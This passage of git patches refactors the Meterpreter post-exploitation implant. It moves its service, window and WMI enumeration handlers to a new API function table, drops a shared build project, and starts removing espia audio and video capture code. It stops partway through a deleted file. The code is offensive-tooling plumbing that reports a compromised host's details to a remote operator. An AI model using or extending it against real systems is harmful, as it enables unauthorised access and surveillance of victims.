packet_transmit_response(dwResult, remote, response); + met_api->packet.transmit_response(dwResult, remote, response); } return dwResult; @@ -235,7 +236,7 @@ DWORD request_service_control(Remote *remote, Packet *packet) DWORD request_service_enum(Remote *remote, Packet *packet) { DWORD dwResult = ERROR_SUCCESS; - Packet * response = packet_create_response(packet); + Packet * response = met_api->packet.create_response(packet); do { @@ -254,7 +255,7 @@ DWORD request_service_enum(Remote *remote, Packet *packet) dprintf("[EXTAPI SERVICE] Transmitting response back to caller."); if (response) { - packet_transmit_response(dwResult, remote, response); + met_api->packet.transmit_response(dwResult, remote, response); } return dwResult; @@ -274,7 +275,7 @@ DWORD request_service_query(Remote *remote, Packet *packet) { LPSTR lpServiceName = NULL; DWORD dwResult = ERROR_SUCCESS; - Packet * response = packet_create_response(packet); + Packet * response = met_api->packet.create_response(packet); do { @@ -285,7 +286,7 @@ DWORD request_service_query(Remote *remote, Packet *packet) break; } - lpServiceName = packet_get_tlv_value_string(packet, TLV_TYPE_EXT_SERVICE_ENUM_NAME); + lpServiceName = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_EXT_SERVICE_ENUM_NAME); if (!lpServiceName) { BREAK_WITH_ERROR("[EXTAPI SERVICE] Missing service name parameter", ERROR_INVALID_PARAMETER); @@ -299,7 +300,7 @@ DWORD request_service_query(Remote *remote, Packet *packet) dprintf("[EXTAPI SERVICE] Transmitting response back to caller."); if (response) { - packet_transmit_response(dwResult, remote, response); + met_api->packet.transmit_response(dwResult, remote, response); } return dwResult; @@ -605,15 +606,15 @@ DWORD execute_service_task(LPCSTR cpServiceName, ServiceOperation eServiceOp, Pa */ VOID add_enumerated_service(Packet *pResponse, LPCSTR cpName, LPCSTR cpDisplayName, DWORD dwProcessId, DWORD dwStatus, BOOL bInteractive) { - Packet* pGroup = packet_create_group(); + Packet* pGroup = met_api->packet.create_group(); - packet_add_tlv_string(pGroup, TLV_TYPE_EXT_SERVICE_ENUM_NAME, cpName); - packet_add_tlv_string(pGroup, TLV_TYPE_EXT_SERVICE_ENUM_DISPLAYNAME, cpDisplayName); - packet_add_tlv_uint(pGroup, TLV_TYPE_EXT_SERVICE_ENUM_PID, dwProcessId); - packet_add_tlv_uint(pGroup, TLV_TYPE_EXT_SERVICE_ENUM_STATUS, dwStatus); - packet_add_tlv_bool(pGroup, TLV_TYPE_EXT_SERVICE_ENUM_INTERACTIVE, bInteractive); + met_api->packet.add_tlv_string(pGroup, TLV_TYPE_EXT_SERVICE_ENUM_NAME, cpName); + met_api->packet.add_tlv_string(pGroup, TLV_TYPE_EXT_SERVICE_ENUM_DISPLAYNAME, cpDisplayName); + met_api->packet.add_tlv_uint(pGroup, TLV_TYPE_EXT_SERVICE_ENUM_PID, dwProcessId); + met_api->packet.add_tlv_uint(pGroup, TLV_TYPE_EXT_SERVICE_ENUM_STATUS, dwStatus); + met_api->packet.add_tlv_bool(pGroup, TLV_TYPE_EXT_SERVICE_ENUM_INTERACTIVE, bInteractive); - packet_add_group(pResponse, TLV_TYPE_EXT_SERVICE_ENUM_GROUP, pGroup); + met_api->packet.add_group(pResponse, TLV_TYPE_EXT_SERVICE_ENUM_GROUP, pGroup); } /*! @@ -658,12 +659,12 @@ DWORD get_service_config(SC_HANDLE scService, Packet *pResponse) } dprintf("[EXTAPI SERVICE] Start type: %u", lpServiceConfig->dwStartType); - packet_add_tlv_uint(pResponse, TLV_TYPE_EXT_SERVICE_QUERY_STARTTYPE, lpServiceConfig->dwStartType); - packet_add_tlv_string(pResponse, TLV_TYPE_EXT_SERVICE_QUERY_DISPLAYNAME, lpServiceConfig->lpDisplayName); - packet_add_tlv_string(pResponse, TLV_TYPE_EXT_SERVICE_QUERY_STARTNAME, lpServiceConfig->lpServiceStartName); - packet_add_tlv_string(pResponse, TLV_TYPE_EXT_SERVICE_QUERY_PATH, lpServiceConfig->lpBinaryPathName); - packet_add_tlv_string(pResponse, TLV_TYPE_EXT_SERVICE_QUERY_LOADORDERGROUP, lpServiceConfig->lpLoadOrderGroup ? lpServiceConfig->lpLoadOrderGroup : ""); - packet_add_tlv_bool(pResponse, TLV_TYPE_EXT_SERVICE_QUERY_INTERACTIVE, lpServiceConfig->dwServiceType & SERVICE_INTERACTIVE_PROCESS); + met_api->packet.add_tlv_uint(pResponse, TLV_TYPE_EXT_SERVICE_QUERY_STARTTYPE, lpServiceConfig->dwStartType); + met_api->packet.add_tlv_string(pResponse, TLV_TYPE_EXT_SERVICE_QUERY_DISPLAYNAME, lpServiceConfig->lpDisplayName); + met_api->packet.add_tlv_string(pResponse, TLV_TYPE_EXT_SERVICE_QUERY_STARTNAME, lpServiceConfig->lpServiceStartName); + met_api->packet.add_tlv_string(pResponse, TLV_TYPE_EXT_SERVICE_QUERY_PATH, lpServiceConfig->lpBinaryPathName); + met_api->packet.add_tlv_string(pResponse, TLV_TYPE_EXT_SERVICE_QUERY_LOADORDERGROUP, lpServiceConfig->lpLoadOrderGroup ? lpServiceConfig->lpLoadOrderGroup : ""); + met_api->packet.add_tlv_bool(pResponse, TLV_TYPE_EXT_SERVICE_QUERY_INTERACTIVE, lpServiceConfig->dwServiceType & SERVICE_INTERACTIVE_PROCESS); } while (0); @@ -703,7 +704,7 @@ DWORD get_service_status(SC_HANDLE scService, Packet *pResponse) break; } - packet_add_tlv_uint(pResponse, TLV_TYPE_EXT_SERVICE_QUERY_STATUS, serviceStatus.dwCurrentState); + met_api->packet.add_tlv_uint(pResponse, TLV_TYPE_EXT_SERVICE_QUERY_STATUS, serviceStatus.dwCurrentState); } while (0); @@ -757,7 +758,7 @@ DWORD get_service_dacl(SC_HANDLE scService, Packet *pResponse) BREAK_ON_ERROR("[EXTAPI SERVICE] Unable to get DACL string"); } - packet_add_tlv_string(pResponse, TLV_TYPE_EXT_SERVICE_QUERY_DACL, lpDaclString); + met_api->packet.add_tlv_string(pResponse, TLV_TYPE_EXT_SERVICE_QUERY_DACL, lpDaclString); } while (0); diff --git a/c/meterpreter/source/extensions/extapi/window.c b/c/meterpreter/source/extensions/extapi/window.c index 64a84543..7495e66b 100644 --- a/c/meterpreter/source/extensions/extapi/window.c +++ b/c/meterpreter/source/extensions/extapi/window.c @@ -3,6 +3,7 @@ * @brief Definitions for window management functionality */ #include "extapi.h" +#include "common_metapi.h" #include "window.h" VOID add_enumerated_window(Packet *pResponse, QWORD qwHandle, const wchar_t* cpWindowTitle_u, const wchar_t* cpClassName_u, DWORD dwProcessId); @@ -186,7 +187,7 @@ DWORD request_window_enum(Remote *remote, Packet *packet) QWORD parentWindow = 0; DWORD dwResult = ERROR_SUCCESS; BOOL bIncludeUnknown = FALSE; - Packet * response = packet_create_response(packet); + Packet * response = met_api->packet.create_response(packet); do { @@ -199,10 +200,10 @@ DWORD request_window_enum(Remote *remote, Packet *packet) // Extract the specified parent window. If this is NULL, that's ok, as we'll // just enumerate top-level windows. - parentWindow = packet_get_tlv_value_qword(packet, TLV_TYPE_EXT_WINDOW_ENUM_HANDLE); + parentWindow = met_api->packet.get_tlv_value_qword(packet, TLV_TYPE_EXT_WINDOW_ENUM_HANDLE); // Extract the flag that indicates of unknown windows should be included in the output - bIncludeUnknown = packet_get_tlv_value_bool(packet, TLV_TYPE_EXT_WINDOW_ENUM_INCLUDEUNKNOWN); + bIncludeUnknown = met_api->packet.get_tlv_value_bool(packet, TLV_TYPE_EXT_WINDOW_ENUM_INCLUDEUNKNOWN); dprintf("[EXTAPI WINDOW] Beginning window enumeration"); dwResult = enumerate_windows(response, bIncludeUnknown, parentWindow); @@ -212,7 +213,7 @@ DWORD request_window_enum(Remote *remote, Packet *packet) dprintf("[EXTAPI WINDOW] Transmitting response back to caller."); if (response) { - packet_transmit_response(dwResult, remote, response); + met_api->packet.transmit_response(dwResult, remote, response); } return dwResult; @@ -228,11 +229,11 @@ DWORD request_window_enum(Remote *remote, Packet *packet) */ VOID add_enumerated_window(Packet *pResponse, QWORD qwHandle, const wchar_t* cpWindowTitle, const wchar_t* cpClassName, DWORD dwProcessId) { - Packet* pGroup = packet_create_group(); + Packet* pGroup = met_api->packet.create_group(); - packet_add_tlv_uint(pGroup, TLV_TYPE_EXT_WINDOW_ENUM_PID, dwProcessId); - packet_add_tlv_qword(pGroup, TLV_TYPE_EXT_WINDOW_ENUM_HANDLE, qwHandle); - packet_add_tlv_string(pGroup, TLV_TYPE_EXT_WINDOW_ENUM_TITLE, wchar_to_utf8(cpWindowTitle)); - packet_add_tlv_string(pGroup, TLV_TYPE_EXT_WINDOW_ENUM_CLASSNAME, wchar_to_utf8(cpClassName)); - packet_add_group(pResponse, TLV_TYPE_EXT_WINDOW_ENUM_GROUP, pGroup); + met_api->packet.add_tlv_uint(pGroup, TLV_TYPE_EXT_WINDOW_ENUM_PID, dwProcessId); + met_api->packet.add_tlv_qword(pGroup, TLV_TYPE_EXT_WINDOW_ENUM_HANDLE, qwHandle); + met_api->packet.add_tlv_string(pGroup, TLV_TYPE_EXT_WINDOW_ENUM_TITLE, met_api->string.wchar_to_utf8(cpWindowTitle)); + met_api->packet.add_tlv_string(pGroup, TLV_TYPE_EXT_WINDOW_ENUM_CLASSNAME, met_api->string.wchar_to_utf8(cpClassName)); + met_api->packet.add_group(pResponse, TLV_TYPE_EXT_WINDOW_ENUM_GROUP, pGroup); } diff --git a/c/meterpreter/source/extensions/extapi/wmi.c b/c/meterpreter/source/extensions/extapi/wmi.c index aa3743e7..3f412549 100644 --- a/c/meterpreter/source/extensions/extapi/wmi.c +++ b/c/meterpreter/source/extensions/extapi/wmi.c @@ -3,6 +3,7 @@ * @brief Definitions for WMI request handling functionality. */ #include "extapi.h" +#include "common_metapi.h" #include "wshelpers.h" #include "wmi.h" #include "wmi_interface.h" @@ -20,7 +21,7 @@ DWORD request_wmi_query(Remote *remote, Packet *packet) LPSTR lpValue = NULL; LPWSTR lpwRoot = NULL; LPWSTR lpwQuery = NULL; - Packet * response = packet_create_response(packet); + Packet * response = met_api->packet.create_response(packet); do { @@ -29,7 +30,7 @@ DWORD request_wmi_query(Remote *remote, Packet *packet) BREAK_WITH_ERROR("[EXTAPI WMI] Unable to create response packet", ERROR_OUTOFMEMORY); } - lpValue = packet_get_tlv_value_string(packet, TLV_TYPE_EXT_WMI_DOMAIN); + lpValue = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_EXT_WMI_DOMAIN); if (!lpValue) { @@ -44,7 +45,7 @@ DWORD request_wmi_query(Remote *remote, Packet *packet) break; } - lpValue = packet_get_tlv_value_string(packet, TLV_TYPE_EXT_WMI_QUERY); + lpValue = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_EXT_WMI_QUERY); dprintf("[EXTAPI WMI] Query: %s", lpValue); dwResult = to_wide_string(lpValue, &lpwQuery); if (dwResult != ERROR_SUCCESS) @@ -71,7 +72,7 @@ DWORD request_wmi_query(Remote *remote, Packet *packet) dprintf("[EXTAPI WMI] Transmitting response back to caller."); if (response) { - packet_transmit_response(dwResult, remote, response); + met_api->packet.transmit_response(dwResult, remote, response); } return dwResult; diff --git a/c/meterpreter/source/extensions/extapi/wmi_interface.cpp b/c/meterpreter/source/extensions/extapi/wmi_interface.cpp index 018c61ae..453ed840 100644 --- a/c/meterpreter/source/extensions/extapi/wmi_interface.cpp +++ b/c/meterpreter/source/extensions/extapi/wmi_interface.cpp @@ -5,6 +5,7 @@ */ extern "C" { #include "extapi.h" +#include "common_metapi.h" #include #include "wmi_interface.h" } @@ -327,7 +328,7 @@ DWORD wmi_query(LPCWSTR lpwRoot, LPWSTR lpwQuery, Packet* response) VARIANT** fields = (VARIANT**)malloc(sizeof(VARIANT*) * fieldCount); char value[FIELD_SIZE]; - Packet* fieldGroup = packet_create_group(); + Packet* fieldGroup = met_api->packet.create_group(); memset(fields, 0, sizeof(VARIANT*) * fieldCount); @@ -337,14 +338,14 @@ DWORD wmi_query(LPCWSTR lpwRoot, LPWSTR lpwQuery, Packet* response) SafeArrayPtrOfIndex(pFieldArray, indices, (void**)&fields[i]); _bstr_t bstr(fields[i]->bstrVal); - packet_add_tlv_string(fieldGroup, TLV_TYPE_EXT_WMI_FIELD, (const char*)bstr); + met_api->packet.add_tlv_string(fieldGroup, TLV_TYPE_EXT_WMI_FIELD, (const char*)bstr); dprintf("[WMI] Added header field: %s", (const char*)bstr); } dprintf("[WMI] added all field headers"); // add the field names to the packet - packet_add_group(response, TLV_TYPE_EXT_WMI_FIELDS, fieldGroup); + met_api->packet.add_group(response, TLV_TYPE_EXT_WMI_FIELDS, fieldGroup); dprintf("[WMI] processing values..."); // with that horrible pain out of the way, let's actually grab the data @@ -356,7 +357,7 @@ DWORD wmi_query(LPCWSTR lpwRoot, LPWSTR lpwQuery, Packet* response) break; } - Packet* valueGroup = packet_create_group(); + Packet* valueGroup = met_api->packet.create_group(); for (LONG i = 0; i < fieldCount; ++i) { @@ -373,13 +374,13 @@ DWORD wmi_query(LPCWSTR lpwRoot, LPWSTR lpwQuery, Packet* response) variant_to_string(_variant_t(varValue), value, FIELD_SIZE); } - packet_add_tlv_string(valueGroup, TLV_TYPE_EXT_WMI_VALUE, value); + met_api->packet.add_tlv_string(valueGroup, TLV_TYPE_EXT_WMI_VALUE, value); dprintf("[WMI] Added value for %s: %s", (char*)_bstr_t(fields[i]->bstrVal), value); } // add the field values to the packet - packet_add_group(response, TLV_TYPE_EXT_WMI_VALUES, valueGroup); + met_api->packet.add_group(response, TLV_TYPE_EXT_WMI_VALUES, valueGroup); pObj->Release(); pObj = NULL; @@ -436,7 +437,7 @@ DWORD wmi_query(LPCWSTR lpwRoot, LPWSTR lpwQuery, Packet* response) _com_error comError(hResult); _snprintf_s(errorMessage, 1024, 1023, "%s (0x%x)", comError.ErrorMessage(), hResult); dprintf("[WMI] returning error -> %s", errorMessage); - packet_add_tlv_string(response, TLV_TYPE_EXT_WMI_ERROR, errorMessage); + met_api->packet.add_tlv_string(response, TLV_TYPE_EXT_WMI_ERROR, errorMessage); hResult = S_OK; } diff --git a/c/meterpreter/workspace/ext_server_extapi/ext_server_extapi.vcxproj b/c/meterpreter/workspace/ext_server_extapi/ext_server_extapi.vcxproj index 85af45a2..8004a520 100644 --- a/c/meterpreter/workspace/ext_server_extapi/ext_server_extapi.vcxproj +++ b/c/meterpreter/workspace/ext_server_extapi/ext_server_extapi.vcxproj @@ -84,7 +84,7 @@ MinSpace OnlyExplicitInline false - ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\extapi;%(AdditionalIncludeDirectories) + ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\extapi;..\..\source\common;%(AdditionalIncludeDirectories) WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_EXTAPI_EXPORTS;%(PreprocessorDefinitions) true MultiThreaded @@ -134,7 +134,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" MinSpace OnlyExplicitInline false - ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\extapi;%(AdditionalIncludeDirectories) + ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\extapi;..\..\source\common;%(AdditionalIncludeDirectories) WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_EXTAPI_EXPORTS;%(PreprocessorDefinitions) true MultiThreaded @@ -187,7 +187,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" MaxSpeed OnlyExplicitInline false - ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\extapi;%(AdditionalIncludeDirectories) + ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\extapi;..\..\source\common;%(AdditionalIncludeDirectories) WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_EXTAPI_EXPORTS;%(PreprocessorDefinitions) true MultiThreaded @@ -237,7 +237,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" MaxSpeed OnlyExplicitInline false - ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\extapi;%(AdditionalIncludeDirectories) + ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\extapi;..\..\source\common;%(AdditionalIncludeDirectories) WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_EXTAPI_EXPORTS;%(PreprocessorDefinitions) true MultiThreaded From 3a3e77942b5fc091c6a59fa51f92004fcb187a19 Mon Sep 17 00:00:00 2001 From: OJ Date: Fri, 17 Apr 2020 20:20:08 +1000 Subject: [PATCH 15/21] Fix small issue with calling convensions in x86 --- c/meterpreter/source/common/common_metapi.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/c/meterpreter/source/common/common_metapi.h b/c/meterpreter/source/common/common_metapi.h index 59eadae0..fa26a531 100644 --- a/c/meterpreter/source/common/common_metapi.h +++ b/c/meterpreter/source/common/common_metapi.h @@ -86,7 +86,7 @@ typedef struct _SchedulerApi DWORD(*destroy)(); DWORD(*insert_waitable)(HANDLE waitable, LPVOID entryContext, LPVOID threadContext, WaitableNotifyRoutine routine, WaitableDestroyRoutine destroy); DWORD(*signal_waitable)(HANDLE waitable, SchedulerSignal signal); - DWORD(*waitable_thread)(THREAD* thread); + DWORD(THREADCALL*waitable_thread)(THREAD* thread); } SchedulerApi; typedef struct _PacketApi From eb81e43b03cd03a2c081cf7b638077286140abfb Mon Sep 17 00:00:00 2001 From: OJ Date: Fri, 17 Apr 2020 20:26:50 +1000 Subject: [PATCH 16/21] Remove the common vcxproj and all references to it --- c/meterpreter/workspace/common/common.vcxproj | 294 ------------------ .../ext_server_espia/ext_server_espia.vcxproj | 4 - .../ext_server_extapi.vcxproj | 4 - .../ext_server_incognito.vcxproj | 4 - .../ext_server_lanattacks.vcxproj | 4 - .../ext_server_peinjector.vcxproj | 4 - .../ext_server_powershell.vcxproj | 4 - .../ext_server_priv/ext_server_priv.vcxproj | 4 - .../ext_server_python.vcxproj | 4 - .../ext_server_sniffer.vcxproj | 4 - .../ext_server_stdapi.vcxproj | 4 - .../ext_server_unhook.vcxproj | 4 - .../ext_server_winpmem.vcxproj | 4 - 13 files changed, 342 deletions(-) delete mode 100644 c/meterpreter/workspace/common/common.vcxproj diff --git a/c/meterpreter/workspace/common/common.vcxproj b/c/meterpreter/workspace/common/common.vcxproj deleted file mode 100644 index 53dcc505..00000000 --- a/c/meterpreter/workspace/common/common.vcxproj +++ /dev/null @@ -1,294 +0,0 @@ - - - - - r7_release - Win32 - - - r7_release - x64 - - - Release - Win32 - - - Release - x64 - - - - {9E4DE963-873F-4525-A7D0-CE34EDBBDCCA} - common - - - - StaticLibrary - false - MultiByte - v141_xp - - - StaticLibrary - false - MultiByte - v141_xp - - - StaticLibrary - false - MultiByte - v141_xp - - - StaticLibrary - false - MultiByte - v141_xp - - - - - - - - - - - - - - - - - - - - - - - - - - - - <_ProjectFileVersion>10.0.30319.1 - $(Configuration)\$(Platform)\ - $(Configuration)\$(Platform)\ - false - false - false - AllRules.ruleset - - - - - - ..\..\source\ReflectiveDLLInjection\common;%(AdditionalIncludeDirectories) - false - Size - false - OnlyExplicitInline - MinSpace - Use - common.h - $(OutDir)\common.pch - NDEBUG;WIN32;_WINDOWS;_LIB;USE_DLL;METERPRETER_EXPORTS;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions) - MultiThreaded - true - Level3 - true - true - - - backcompat.lib;%(AdditionalDependencies) - ..\backcompat\$(Configuration)\;%(AdditionalLibraryDirectories) - false - false - Windows - MachineX86 - - - true - - - 0x0409 - - - - - - - - - ..\..\source\ReflectiveDLLInjection\common;%(AdditionalIncludeDirectories) - false - Size - false - OnlyExplicitInline - MinSpace - Use - common.h - $(OutDir)\common.pch - NDEBUG;WIN32;_WINDOWS;_LIB;USE_DLL;METERPRETER_EXPORTS;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions) - MultiThreaded - true - Level3 - true - true - - - backcompat.lib;%(AdditionalDependencies) - ..\backcompat\$(Configuration)\;%(AdditionalLibraryDirectories) - false - false - Windows - MachineX86 - - - true - - - 0x0409 - - - - - - - - - X64 - - - ..\..\source\ReflectiveDLLInjection\common;%(AdditionalIncludeDirectories) - false - Size - false - OnlyExplicitInline - MinSpace - Use - common.h - $(OutDir)\common.pch - NDEBUG;WIN32;_WINDOWS;_LIB;USE_DLL;METERPRETER_EXPORTS;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions) - MultiThreaded - true - Level3 - true - true - - - false - false - Windows - MachineX64 - - - true - - - 0x0409 - - - - - - - - - X64 - - - ..\..\source\ReflectiveDLLInjection\common;%(AdditionalIncludeDirectories) - false - Size - false - OnlyExplicitInline - MinSpace - Use - common.h - $(OutDir)\common.pch - NDEBUG;WIN32;_WINDOWS;_LIB;USE_DLL;METERPRETER_EXPORTS;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions) - MultiThreaded - true - Level3 - true - true - - - false - false - Windows - MachineX64 - - - 0x0409 - - - - - - - true - - - - - - - - - - - - - Create - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - {c6fb3275-9067-4bba-9206-0a720d2bc64f} - false - - - - - - - - - \ No newline at end of file diff --git a/c/meterpreter/workspace/ext_server_espia/ext_server_espia.vcxproj b/c/meterpreter/workspace/ext_server_espia/ext_server_espia.vcxproj index aa2671e2..04bd31db 100644 --- a/c/meterpreter/workspace/ext_server_espia/ext_server_espia.vcxproj +++ b/c/meterpreter/workspace/ext_server_espia/ext_server_espia.vcxproj @@ -317,10 +317,6 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" - - {9e4de963-873f-4525-a7d0-ce34edbbdcca} - false - {37e24f8f-1bd9-490b-8cd2-4768b89e5eab} false diff --git a/c/meterpreter/workspace/ext_server_extapi/ext_server_extapi.vcxproj b/c/meterpreter/workspace/ext_server_extapi/ext_server_extapi.vcxproj index 8004a520..11c18de9 100644 --- a/c/meterpreter/workspace/ext_server_extapi/ext_server_extapi.vcxproj +++ b/c/meterpreter/workspace/ext_server_extapi/ext_server_extapi.vcxproj @@ -324,10 +324,6 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" - - {9e4de963-873f-4525-a7d0-ce34edbbdcca} - false - {37e24f8f-1bd9-490b-8cd2-4768b89e5eab} false diff --git a/c/meterpreter/workspace/ext_server_incognito/ext_server_incognito.vcxproj b/c/meterpreter/workspace/ext_server_incognito/ext_server_incognito.vcxproj index 036fdc27..12e4e0ae 100644 --- a/c/meterpreter/workspace/ext_server_incognito/ext_server_incognito.vcxproj +++ b/c/meterpreter/workspace/ext_server_incognito/ext_server_incognito.vcxproj @@ -305,10 +305,6 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" - - {9e4de963-873f-4525-a7d0-ce34edbbdcca} - false - {37e24f8f-1bd9-490b-8cd2-4768b89e5eab} false diff --git a/c/meterpreter/workspace/ext_server_lanattacks/ext_server_lanattacks.vcxproj b/c/meterpreter/workspace/ext_server_lanattacks/ext_server_lanattacks.vcxproj index d99670e3..9b009660 100644 --- a/c/meterpreter/workspace/ext_server_lanattacks/ext_server_lanattacks.vcxproj +++ b/c/meterpreter/workspace/ext_server_lanattacks/ext_server_lanattacks.vcxproj @@ -286,10 +286,6 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" - - {9e4de963-873f-4525-a7d0-ce34edbbdcca} - false - {37e24f8f-1bd9-490b-8cd2-4768b89e5eab} false diff --git a/c/meterpreter/workspace/ext_server_peinjector/ext_server_peinjector.vcxproj b/c/meterpreter/workspace/ext_server_peinjector/ext_server_peinjector.vcxproj index 6b3c32bd..daf93079 100755 --- a/c/meterpreter/workspace/ext_server_peinjector/ext_server_peinjector.vcxproj +++ b/c/meterpreter/workspace/ext_server_peinjector/ext_server_peinjector.vcxproj @@ -307,10 +307,6 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" - - {9e4de963-873f-4525-a7d0-ce34edbbdcca} - false - {37e24f8f-1bd9-490b-8cd2-4768b89e5eab} false diff --git a/c/meterpreter/workspace/ext_server_powershell/ext_server_powershell.vcxproj b/c/meterpreter/workspace/ext_server_powershell/ext_server_powershell.vcxproj index 4afba6b5..37190487 100644 --- a/c/meterpreter/workspace/ext_server_powershell/ext_server_powershell.vcxproj +++ b/c/meterpreter/workspace/ext_server_powershell/ext_server_powershell.vcxproj @@ -306,10 +306,6 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" - - {9e4de963-873f-4525-a7d0-ce34edbbdcca} - false - {37e24f8f-1bd9-490b-8cd2-4768b89e5eab} false diff --git a/c/meterpreter/workspace/ext_server_priv/ext_server_priv.vcxproj b/c/meterpreter/workspace/ext_server_priv/ext_server_priv.vcxproj index 3c7474a5..36e48ce3 100644 --- a/c/meterpreter/workspace/ext_server_priv/ext_server_priv.vcxproj +++ b/c/meterpreter/workspace/ext_server_priv/ext_server_priv.vcxproj @@ -362,10 +362,6 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" - - {9e4de963-873f-4525-a7d0-ce34edbbdcca} - false - {662afbb3-f64a-4ad1-8956-b9f1b846231c} false diff --git a/c/meterpreter/workspace/ext_server_python/ext_server_python.vcxproj b/c/meterpreter/workspace/ext_server_python/ext_server_python.vcxproj index d9b13967..87d47d2b 100755 --- a/c/meterpreter/workspace/ext_server_python/ext_server_python.vcxproj +++ b/c/meterpreter/workspace/ext_server_python/ext_server_python.vcxproj @@ -302,10 +302,6 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" - - {9e4de963-873f-4525-a7d0-ce34edbbdcca} - false - {37e24f8f-1bd9-490b-8cd2-4768b89e5eab} false diff --git a/c/meterpreter/workspace/ext_server_sniffer/ext_server_sniffer.vcxproj b/c/meterpreter/workspace/ext_server_sniffer/ext_server_sniffer.vcxproj index 817507b4..3fe63add 100644 --- a/c/meterpreter/workspace/ext_server_sniffer/ext_server_sniffer.vcxproj +++ b/c/meterpreter/workspace/ext_server_sniffer/ext_server_sniffer.vcxproj @@ -196,10 +196,6 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" - - {9e4de963-873f-4525-a7d0-ce34edbbdcca} - false - {37e24f8f-1bd9-490b-8cd2-4768b89e5eab} false diff --git a/c/meterpreter/workspace/ext_server_stdapi/ext_server_stdapi.vcxproj b/c/meterpreter/workspace/ext_server_stdapi/ext_server_stdapi.vcxproj index 0d432e76..9a8a8833 100644 --- a/c/meterpreter/workspace/ext_server_stdapi/ext_server_stdapi.vcxproj +++ b/c/meterpreter/workspace/ext_server_stdapi/ext_server_stdapi.vcxproj @@ -416,10 +416,6 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" - - {9e4de963-873f-4525-a7d0-ce34edbbdcca} - false - {37e24f8f-1bd9-490b-8cd2-4768b89e5eab} false diff --git a/c/meterpreter/workspace/ext_server_unhook/ext_server_unhook.vcxproj b/c/meterpreter/workspace/ext_server_unhook/ext_server_unhook.vcxproj index 4d81f53d..5116aa6e 100644 --- a/c/meterpreter/workspace/ext_server_unhook/ext_server_unhook.vcxproj +++ b/c/meterpreter/workspace/ext_server_unhook/ext_server_unhook.vcxproj @@ -298,10 +298,6 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" - - {9e4de963-873f-4525-a7d0-ce34edbbdcca} - false - {37e24f8f-1bd9-490b-8cd2-4768b89e5eab} false diff --git a/c/meterpreter/workspace/ext_server_winpmem/ext_server_winpmem.vcxproj b/c/meterpreter/workspace/ext_server_winpmem/ext_server_winpmem.vcxproj index d7ad9768..e3085807 100644 --- a/c/meterpreter/workspace/ext_server_winpmem/ext_server_winpmem.vcxproj +++ b/c/meterpreter/workspace/ext_server_winpmem/ext_server_winpmem.vcxproj @@ -295,10 +295,6 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" - - {9e4de963-873f-4525-a7d0-ce34edbbdcca} - false - {37e24f8f-1bd9-490b-8cd2-4768b89e5eab} false From 64f6062d8b43c385ff7dc9588f97ce347f1a66e4 Mon Sep 17 00:00:00 2001 From: OJ Date: Sat, 18 Apr 2020 10:29:04 +1000 Subject: [PATCH 17/21] Remove unused crap from espia The video and audio capture things didn't do anything other than leave artifacts on disk. So this commit removes the code that does that, resulting in just one feature being available for this extension. Might be worth ditching it entirely? --- c/meterpreter/source/extensions/espia/audio.c | 105 -------------- c/meterpreter/source/extensions/espia/audio.h | 6 - c/meterpreter/source/extensions/espia/espia.c | 4 - c/meterpreter/source/extensions/espia/video.c | 133 ------------------ c/meterpreter/source/extensions/espia/video.h | 6 - .../ext_server_espia/ext_server_espia.vcxproj | 9 -- 6 files changed, 263 deletions(-) delete mode 100644 c/meterpreter/source/extensions/espia/audio.c delete mode 100644 c/meterpreter/source/extensions/espia/audio.h delete mode 100644 c/meterpreter/source/extensions/espia/video.c delete mode 100644 c/meterpreter/source/extensions/espia/video.h diff --git a/c/meterpreter/source/extensions/espia/audio.c b/c/meterpreter/source/extensions/espia/audio.c deleted file mode 100644 index 051bfd45..00000000 --- a/c/meterpreter/source/extensions/espia/audio.c +++ /dev/null @@ -1,105 +0,0 @@ -#define _CRT_SECURE_NO_DEPRECATE 1 -#include "common.h" -#include -#include -#include -#include -#include -#include -#include "espia.h" -#include "common_metapi.h" - -#pragma comment(lib, "vfw32.lib") -#pragma comment(lib, "winmm.lib") - -#define capSendMessage(hWnd, uMsg, wParm, lParam) ((IsWindow(hWnd)) ? SendMessage(hWnd, uMsg, (WPARAM)(wParm), (LPARAM)(lParam)) : 0) - -BOOL 